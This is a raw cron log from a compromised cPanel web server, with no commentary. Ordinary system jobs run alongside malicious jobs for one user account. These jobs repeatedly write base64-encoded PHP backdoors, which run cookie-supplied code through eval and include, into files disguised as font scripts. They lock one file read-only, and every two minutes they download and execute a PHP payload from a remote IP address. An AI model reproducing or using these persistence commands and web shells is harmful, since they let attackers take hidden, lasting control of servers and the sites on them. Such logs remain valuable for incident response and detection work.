Sep  9 07:36:01 ip-184-168-122-23 CROND[6119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:36:01 ip-184-168-122-23 CROND[6124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:36:01 ip-184-168-122-23 CROND[6122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:36:01 ip-184-168-122-23 CROND[6125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:37:01 ip-184-168-122-23 CROND[6308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:37:01 ip-184-168-122-23 CROND[6312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:37:01 ip-184-168-122-23 CROND[6310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:37:01 ip-184-168-122-23 CROND[6311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:38:01 ip-184-168-122-23 CROND[6435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:38:01 ip-184-168-122-23 CROND[6440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:38:01 ip-184-168-122-23 CROND[6437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:38:01 ip-184-168-122-23 CROND[6438]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:38:01 ip-184-168-122-23 CROND[6439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:39:02 ip-184-168-122-23 CROND[6574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:39:02 ip-184-168-122-23 CROND[6575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:39:02 ip-184-168-122-23 CROND[6576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:39:02 ip-184-168-122-23 CROND[6577]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 07:39:02 ip-184-168-122-23 CROND[6573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:40:01 ip-184-168-122-23 CROND[6701]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 07:40:01 ip-184-168-122-23 CROND[6706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:40:01 ip-184-168-122-23 CROND[6705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:40:01 ip-184-168-122-23 CROND[6704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:40:01 ip-184-168-122-23 CROND[6709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:40:01 ip-184-168-122-23 CROND[6708]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:40:01 ip-184-168-122-23 CROND[6713]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:40:01 ip-184-168-122-23 CROND[6714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:41:01 ip-184-168-122-23 CROND[6810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:41:01 ip-184-168-122-23 CROND[6812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:41:01 ip-184-168-122-23 CROND[6811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:41:01 ip-184-168-122-23 CROND[6813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:42:01 ip-184-168-122-23 CROND[7024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:42:01 ip-184-168-122-23 CROND[7026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:42:01 ip-184-168-122-23 CROND[7025]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:42:01 ip-184-168-122-23 CROND[7028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:42:01 ip-184-168-122-23 CROND[7027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:43:01 ip-184-168-122-23 CROND[7160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:43:01 ip-184-168-122-23 CROND[7163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:43:01 ip-184-168-122-23 CROND[7162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:43:01 ip-184-168-122-23 CROND[7164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:44:01 ip-184-168-122-23 CROND[7274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:44:01 ip-184-168-122-23 CROND[7276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:44:01 ip-184-168-122-23 CROND[7277]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:44:01 ip-184-168-122-23 CROND[7278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:44:01 ip-184-168-122-23 CROND[7280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:45:01 ip-184-168-122-23 CROND[7364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:45:01 ip-184-168-122-23 CROND[7366]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:45:01 ip-184-168-122-23 CROND[7367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:45:01 ip-184-168-122-23 CROND[7368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:45:01 ip-184-168-122-23 CROND[7371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:45:01 ip-184-168-122-23 CROND[7372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:46:01 ip-184-168-122-23 CROND[7457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:46:01 ip-184-168-122-23 CROND[7461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:46:01 ip-184-168-122-23 CROND[7462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:46:01 ip-184-168-122-23 CROND[7460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:46:01 ip-184-168-122-23 CROND[7459]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:46:01 ip-184-168-122-23 CROND[7463]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 07:46:01 ip-184-168-122-23 CROND[7464]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 07:47:01 ip-184-168-122-23 CROND[7588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:47:01 ip-184-168-122-23 CROND[7589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:47:01 ip-184-168-122-23 CROND[7590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:47:01 ip-184-168-122-23 CROND[7591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:48:01 ip-184-168-122-23 CROND[7699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:48:01 ip-184-168-122-23 CROND[7701]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:48:01 ip-184-168-122-23 CROND[7702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:48:01 ip-184-168-122-23 CROND[7703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
